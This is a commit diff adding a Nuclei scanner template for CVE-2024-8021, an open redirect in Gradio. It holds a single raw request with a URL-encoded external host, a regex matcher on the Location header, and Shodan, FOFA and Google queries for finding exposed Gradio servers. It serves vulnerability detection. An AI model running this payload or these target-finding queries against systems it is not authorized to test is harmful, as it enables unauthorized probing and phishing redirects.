Create CVE-2024-8021.yaml

http/cves/2024/CVE-2024-8021.yaml

@@ -0,0 +1,40 @@
+id: CVE-2024-8021
+
+info:
+  name: Gradio - Open Redirect Bypass via URL encoding
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    Gradio allows an open redirect bypass via URL encoding, enabling attackers to redirect users to malicious sites. This can lead to phishing attacks and loss of trust in the application.
+  reference:
+    - https://huntr.com/bounties/adc23067-ec04-47ef-9265-afd452071888
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: gradio_project
+    product: gradio
+    shodan-query:
+      - http.html:"__gradio_mode__"
+      - http.title:"gradio"
+    fofa-query:
+      - body="__gradio_mode__"
+      - title="gradio"
+    google-query: intitle:"gradio"
+  tags: cve,cve2024,redirect,oast,gradio
+
+http:
+  - raw:
+      - |
+        GET /file=http%3A%2F%2Foast.pro/ HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
+        part: header
+
+      - type: status
+        status:
+          - 302